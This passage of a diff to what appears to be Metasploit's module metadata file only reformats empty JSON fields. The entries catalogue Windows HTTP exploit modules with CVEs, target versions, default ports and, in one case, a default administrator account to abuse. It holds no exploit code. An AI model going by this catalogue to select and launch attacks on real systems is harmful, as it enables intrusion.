"notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/manageengine_apps_mngr": { "name": "ManageEngine Applications Manager Authenticated Code Execution", "fullname": "exploit/windows/http/manageengine_apps_mngr", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-04-08", "type": "exploit", @@ -171127,17 +152310,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/manageengine_connectionid_write": { "name": "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability", "fullname": "exploit/windows/http/manageengine_connectionid_write", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-12-14", "type": "exploit", @@ -171177,17 +152357,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966": { "name": "ManageEngine Endpoint Central Unauthenticated SAML RCE", "fullname": "exploit/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-10", "type": "exploit", @@ -171253,9 +152430,7 @@ "exploit_windows/http/manageengine_servicedesk_plus_cve_2021_44077": { "name": "ManageEngine ServiceDesk Plus CVE-2021-44077", "fullname": "exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-09-16", "type": "exploit", @@ -171319,9 +152494,7 @@ "exploit_windows/http/maxdb_webdbm_database": { "name": "MaxDB WebDBM Database Parameter Overflow", "fullname": "exploit/windows/http/maxdb_webdbm_database", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-08-29", "type": "exploit", @@ -171337,12 +152510,8 @@ "platform": "Windows", "arch": "", "rport": 9999, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MaxDB 7.6.00.16", "MaxDB 7.6.00.27" @@ -171354,17 +152523,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/maxdb_webdbm_get_overflow": { "name": "MaxDB WebDBM GET Buffer Overflow", "fullname": "exploit/windows/http/maxdb_webdbm_get_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-04-26", "type": "exploit", @@ -171410,17 +152576,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/mcafee_epolicy_source": { "name": "McAfee ePolicy Orchestrator / ProtectionPilot Overflow", "fullname": "exploit/windows/http/mcafee_epolicy_source", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-17", "type": "exploit", @@ -171440,12 +152603,8 @@ "platform": "Windows", "arch": "x86", "rport": 81, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "ePo 2.5.1 (Service Pack 1)", @@ -171458,17 +152617,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/mdaemon_worldclient_form2raw": { "name": "MDaemon WorldClient form2raw.cgi Stack Buffer Overflow", "fullname": "exploit/windows/http/mdaemon_worldclient_form2raw", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-12-29", "type": "exploit", @@ -171484,12 +152640,8 @@ "platform": "Windows", "arch": "x86", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal MDaemon.exe", "Debugging test" @@ -171501,17 +152653,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/minishare_get_overflow": { "name": "Minishare 1.4.1 Buffer Overflow", "fullname": "exploit/windows/http/minishare_get_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-11-07", "type": "exploit", @@ -171565,17 +152714,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/miniweb_upload_wbem": { "name": "MiniWeb (Build 300) Arbitrary File Upload", "fullname": "exploit/windows/http/miniweb_upload_wbem", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-09", "type": "exploit", @@ -171617,17 +152763,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/moveit_cve_2023_34362": { "name": "MOVEit SQL Injection vulnerability", "fullname": "exploit/windows/http/moveit_cve_2023_34362", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-31", "type": "exploit", @@ -171689,9 +152832,7 @@ "exploit_windows/http/navicopa_get_overflow": { "name": "NaviCOPA 2.0.1 URL Handling Buffer Overflow", "fullname": "exploit/windows/http/navicopa_get_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-09-28", "type": "exploit", @@ -171707,12 +152848,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "NaviCOPA 2.0.1 Universal" ], @@ -171723,17 +152860,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/netdecision_http_bof": { "name": "NetDecision 4.5.1 HTTP Server Buffer Overflow", "fullname": "exploit/windows/http/netdecision_http_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-24", "type": "exploit", @@ -171776,17 +152910,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/netgear_nms_rce": { "name": "NETGEAR ProSafe Network Management System 300 Arbitrary File Upload", "fullname": "exploit/windows/http/netgear_nms_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-04", "type": "exploit", @@ -171852,9 +152983,7 @@ "exploit_windows/http/netmotion_mobility_mvcutil_deserialization": { "name": "NetMotion Mobility Server MvcUtil Java Deserialization", "fullname": "exploit/windows/http/netmotion_mobility_mvcutil_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-02-08", "type": "exploit", @@ -171917,9 +153046,7 @@ "exploit_windows/http/northstar_c2_xss_to_agent_rce": { "name": "NorthStar C2 XSS to Agent RCE", "fullname": "exploit/windows/http/northstar_c2_xss_to_agent_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-12", "type": "exploit", @@ -171980,9 +153107,7 @@ "exploit_windows/http/novell_imanager_upload": { "name": "Novell iManager getMultiPartParameters Arbitrary File Upload", "fullname": "exploit/windows/http/novell_imanager_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-10-01", "type": "exploit", @@ -172023,17 +153148,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/novell_mdm_lfi": { "name": "Novell Zenworks Mobile Managment MDM.php Local File Inclusion Vulnerability", "fullname": "exploit/windows/http/novell_mdm_lfi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-03-13", "type": "exploit", @@ -172076,17 +153198,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/novell_messenger_acceptlang": { "name": "Novell Messenger Server 2.0 Accept-Language Overflow", "fullname": "exploit/windows/http/novell_messenger_acceptlang", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-04-13", "type": "exploit", @@ -172102,12 +153221,8 @@ "platform": "Windows", "arch": "", "rport": 8300, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Groupwise Messenger DClient.dll v10510.37" ], @@ -172118,17 +153233,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/nowsms": { "name": "Now SMS/MMS Gateway Buffer Overflow", "fullname": "exploit/windows/http/nowsms", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2008-02-19", "type": "exploit", @@ -172169,17 +153281,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/nscp_authenticated_rce": { "name": "NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution", "fullname": "exploit/windows/http/nscp_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-20", "type": "exploit", @@ -172237,9 +153346,7 @@ "exploit_windows/http/oats_weblogic_console": { "name": "Oracle Application Testing Suite WebLogic Server Administration Console War Deployment", "fullname": "exploit/windows/http/oats_weblogic_console", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-13", "type": "exploit", @@ -172248,9 +153355,7 @@ "sinn3r " ], "description": "This module abuses a feature in WebLogic Server's Administration Console to install\n a malicious Java application in order to gain remote code execution. Authentication\n is required, however by default, Oracle ships with a \"oats\" account that you could\n log in with, which grants you administrator access.", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": 8088, @@ -172296,9 +153401,7 @@ "exploit_windows/http/octopusdeploy_deploy": { "name": "Octopus Deploy Authenticated Code Execution", "fullname": "exploit/windows/http/octopusdeploy_deploy", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-15", "type": "exploit", @@ -172337,17 +153440,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/oracle9i_xdb_pass": { "name": "Oracle 9i XDB HTTP PASS Overflow (win32)", "fullname": "exploit/windows/http/oracle9i_xdb_pass", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-08-18", "type": "exploit", @@ -172364,12 +153464,8 @@ "platform": "Windows", "arch": "", "rport": 8080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Oracle 9.2.0.1 Universal" ], @@ -172380,17 +153476,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/oracle_beehive_evaluation": { "name": "Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability", "fullname": "exploit/windows/http/oracle_beehive_evaluation", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-06-09", "type": "exploit", @@ -172433,17 +153526,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/oracle_beehive_prepareaudiotoplay": { "name": "Oracle BeeHive 2 voice-servlet prepareAudioToPlay() Arbitrary File Upload", "fullname": "exploit/windows/http/oracle_beehive_prepareaudiotoplay", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-11-10", "type": "exploit", @@ -172484,17 +153574,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/oracle_btm_writetofile": { "name": "Oracle Business Transaction Management FlashTunnelService Remote Code Execution", "fullname": "exploit/windows/http/oracle_btm_writetofile", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-07", "type": "exploit", @@ -172538,17 +153625,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/oracle_endeca_exec": { "name": "Oracle Endeca Server Remote Command Execution", "fullname": "exploit/windows/http/oracle_endeca_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-07-16", "type": "exploit", @@ -172592,17 +153676,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/oracle_event_processing_upload": { "name": "Oracle Event Processing FileUploadServlet Arbitrary File Upload", "fullname": "exploit/windows/http/oracle_event_processing_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-04-21", "type": "exploit", @@ -172645,17 +153726,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/osb_uname_jlist": { "name": "Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability", "fullname": "exploit/windows/http/osb_uname_jlist", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-07-13", "type": "exploit", @@ -172696,17 +153774,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/peercast_url": { "name": "PeerCast URL Handling Buffer Overflow", "fullname": "exploit/windows/http/peercast_url", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-03-08", "type": "exploit", @@ -172722,12 +153797,8 @@ "platform": "Windows", "arch": "", "rport": 7144, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 English SP0-SP4", @@ -172742,17 +153813,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/pgadmin_binary_path_api": { "name": "pgAdmin Binary Path API RCE", "fullname": "exploit/windows/http/pgadmin_binary_path_api", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-28", "type": "exploit", @@ -172814,9 +153882,7 @@ "exploit_windows/http/php_apache_request_headers_bof": { "name": "PHP apache_request_headers Function Buffer Overflow", "fullname": "exploit/windows/http/php_apache_request_headers_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-08", "type": "exploit", @@ -172861,17 +153927,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/php_cgi_arg_injection_rce_cve_2024_4577": { "name": "PHP CGI Argument Injection Remote Code Execution", "fullname": "exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-06-06", "type": "exploit", @@ -172932,9 +153995,7 @@ "exploit_windows/http/plesk_mylittleadmin_viewstate": { "name": "Plesk/myLittleAdmin ViewState .NET Deserialization", "fullname": "exploit/windows/http/plesk_mylittleadmin_viewstate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-05-15", "type": "exploit", @@ -172996,9 +154057,7 @@ "exploit_windows/http/plex_unpickle_dict_rce": { "name": "Plex Unpickle Dict Windows RCE", "fullname": "exploit/windows/http/plex_unpickle_dict_rce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-05-07", "type": "exploit", @@ -173061,9 +154120,7 @@ "exploit_windows/http/privatewire_gateway": { "name": "Private Wire Gateway Buffer Overflow", "fullname": "exploit/windows/http/privatewire_gateway", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-06-26", "type": "exploit", @@ -173110,17 +154167,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/prtg_authenticated_rce": { "name": "PRTG Network Monitor Authenticated RCE", "fullname": "exploit/windows/http/prtg_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-06-25", "type": "exploit", @@ -173180,9 +154234,7 @@ "exploit_windows/http/prtg_authenticated_rce_cve_2023_32781": { "name": "PRTG CVE-2023-32781 Authenticated RCE", "fullname": "exploit/windows/http/prtg_authenticated_rce_cve_2023_32781", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-08-09", "type": "exploit", @@ -173241,9 +154293,7 @@ "exploit_windows/http/psoproxy91_overflow": { "name": "PSO Proxy v0.91 Stack Buffer Overflow", "fullname": "exploit/windows/http/psoproxy91_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-02-20", "type": "exploit", @@ -173260,12 +154310,8 @@ "platform": "Windows", "arch": "", "rport": 8080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 Pro SP0-4 English", @@ -173281,17 +154327,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/rabidhamster_r4_log": { "name": "RabidHamster R4 Log Entry sprintf() Buffer Overflow", "fullname": "exploit/windows/http/rabidhamster_r4_log", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-09", "type": "exploit", @@ -173332,17 +154375,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/rejetto_hfs_exec": { "name": "Rejetto HttpFileServer Remote Command Execution", "fullname": "exploit/windows/http/rejetto_hfs_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-11", "type": "exploit", @@ -173385,17 +154425,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/rejetto_hfs_rce_cve_2024_23692": { "name": "Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution", "fullname": "exploit/windows/http/rejetto_hfs_rce_cve_2024_23692", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-05-25", "type": "exploit", @@ -173454,9 +154491,7 @@ "exploit_windows/http/sambar6_search_results": { "name": "Sambar 6 Search Results Buffer Overflow", "fullname": "exploit/windows/http/sambar6_search_results", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2003-06-21", "type": "exploit", @@ -173474,12 +154509,8 @@ "platform": "Windows", "arch": "x86", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000", @@ -173492,17 +154523,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/sap_configservlet_exec_noauth": { "name": "SAP ConfigServlet Remote Code Execution", "fullname": "exploit/windows/http/sap_configservlet_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-11-01", "type": "exploit", @@ -173544,17 +154572,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/sap_host_control_cmd_exec": { "name": "SAP NetWeaver HostControl Command Injection", "fullname": "exploit/windows/http/sap_host_control_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-08-14", "type": "exploit", @@ -173596,17 +154621,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/sapdb_webtools": { "name": "SAP DB 7.4 WebTools Buffer Overflow", "fullname": "exploit/windows/http/sapdb_webtools", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-07-05", "type": "exploit", @@ -173647,17 +154669,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/savant_31_overflow": { "name": "Savant 3.1 Web Server Overflow", "fullname": "exploit/windows/http/savant_31_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2002-09-10", "type": "exploit", @@ -173703,17 +154722,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/sepm_auth_bypass_rce": { "name": "Symantec Endpoint Protection Manager Authentication Bypass and Code Execution", "fullname": "exploit/windows/http/sepm_auth_bypass_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-07-31", "type": "exploit", @@ -173756,17 +154772,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/serviio_checkstreamurl_cmd_exec": { "name": "Serviio Media Server checkStreamUrl Command Execution", "fullname": "exploit/windows/http/serviio_checkstreamurl_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-03", "type": "exploit", @@ -173809,17 +154822,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/servu_session_cookie": { "name": "Rhinosoft Serv-U Session Cookie Buffer Overflow", "fullname": "exploit/windows/http/servu_session_cookie", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-11-01", "type": "exploit", @@ -173837,12 +154847,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2003 SP2 English (NX)", "Windows 2000 SP4 and XP SP3 English (SEH)" @@ -173854,17 +154860,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/sharepoint_data_deserialization": { "name": "SharePoint DataSet / DataTable Deserialization", "fullname": "exploit/windows/http/sharepoint_data_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-07-14", "type": "exploit", @@ -173926,9 +154929,7 @@ "exploit_windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce": { "name": "Sharepoint Dynamic Proxy Generator Unauth RCE", "fullname": "exploit/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-05-01", "type": "exploit", @@ -173989,9 +154990,7 @@ "exploit_windows/http/sharepoint_ssi_viewstate": { "name": "Microsoft SharePoint Server-Side Include and ViewState RCE", "fullname": "exploit/windows/http/sharepoint_ssi_viewstate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-13", "type": "exploit", @@ -174055,9 +155054,7 @@ "exploit_windows/http/sharepoint_unsafe_control": { "name": "Microsoft SharePoint Unsafe Control and ViewState RCE", "fullname": "exploit/windows/http/sharepoint_unsafe_control", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-11", "type": "exploit", @@ -174120,9 +155117,7 @@ "exploit_windows/http/sharepoint_workflows_xoml": { "name": "SharePoint Workflows XOML Injection", "fullname": "exploit/windows/http/sharepoint_workflows_xoml", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-02", "type": "exploit", @@ -174183,9 +155178,7 @@ "exploit_windows/http/shoutcast_format": { "name": "SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow", "fullname": "exploit/windows/http/shoutcast_format", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-12-23", "type": "exploit", @@ -174231,17 +155224,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/shttpd_post": { "name": "SHTTPD URI-Encoded POST Request Overflow", "fullname": "exploit/windows/http/shttpd_post", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-10-06", "type": "exploit", @@ -174260,12 +155250,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows NT English SP5-SP6", @@ -174286,17 +155272,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/sitecore_xp_cve_2021_42237": { "name": "Sitecore Experience Platform (XP) PreAuth Deserialization RCE", "fullname": "exploit/windows/http/sitecore_xp_cve_2021_42237", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-11-02", "type": "exploit", @@ -174358,9 +155341,7 @@ "exploit_windows/http/smartermail_rce": { "name": "SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution", "fullname": "exploit/windows/http/smartermail_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-17", "type": "exploit", @@ -174422,9 +155403,7 @@ "exploit_windows/http/softing_sis_rce": { "name": "Softing Secure Integration Server v1.22 Remote Code Execution", "fullname": "exploit/windows/http/softing_sis_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-07-27", "type": "exploit", @@ -174488,9 +155467,7 @@ "exploit_windows/http/solarwinds_fsm_userlogin": { "name": "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability", "fullname": "exploit/windows/http/solarwinds_fsm_userlogin", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-13", "type": "exploit", @@ -174534,17 +155511,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/solarwinds_storage_manager_sql": { "name": "Solarwinds Storage Manager 5.1.0 SQL Injection", "fullname": "exploit/windows/http/solarwinds_storage_manager_sql", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-12-07", "type": "exploit", @@ -174588,17 +155562,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/sonicwall_scrutinizer_sqli": { "name": "Dell SonicWALL (Plixer) Scrutinizer 9 SQL Injection", "fullname": "exploit/windows/http/sonicwall_scrutinizer_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-22", "type": "exploit", @@ -174643,17 +155614,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ssrs_navcorrector_viewstate": { "name": "SQL Server Reporting Services (SSRS) ViewState Deserialization", "fullname": "exploit/windows/http/ssrs_navcorrector_viewstate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-11", "type": "exploit", @@ -174714,9 +155682,7 @@ "exploit_windows/http/steamcast_useragent": { "name": "Streamcast HTTP User-Agent Buffer Overflow", "fullname": "exploit/windows/http/steamcast_useragent", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-01-24", "type": "exploit", @@ -174734,12 +155700,8 @@ "platform": "Windows", "arch": "", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English All", "Windows XP Pro SP0/SP1 English" @@ -174751,17 +155713,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/sws_connection_bof": { "name": "Simple Web Server Connection Header Buffer Overflow", "fullname": "exploit/windows/http/sws_connection_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-20", "type": "exploit", @@ -174803,17 +155762,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/sybase_easerver": { "name": "Sybase EAServer 5.2 Remote Stack Buffer Overflow", "fullname": "exploit/windows/http/sybase_easerver", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-07-25", "type": "exploit", @@ -174858,17 +155814,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/syncbreeze_bof": { "name": "Sync Breeze Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/syncbreeze_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-03-15", "type": "exploit", @@ -174913,17 +155866,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/sysax_create_folder": { "name": "Sysax Multi Server 5.64 Create Folder Buffer Overflow", "fullname": "exploit/windows/http/sysax_create_folder", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-07-29", "type": "exploit", @@ -174969,17 +155919,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/telerik_rau_deserialization": { "name": "Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization", "fullname": "exploit/windows/http/telerik_rau_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-12-09", "type": "exploit", 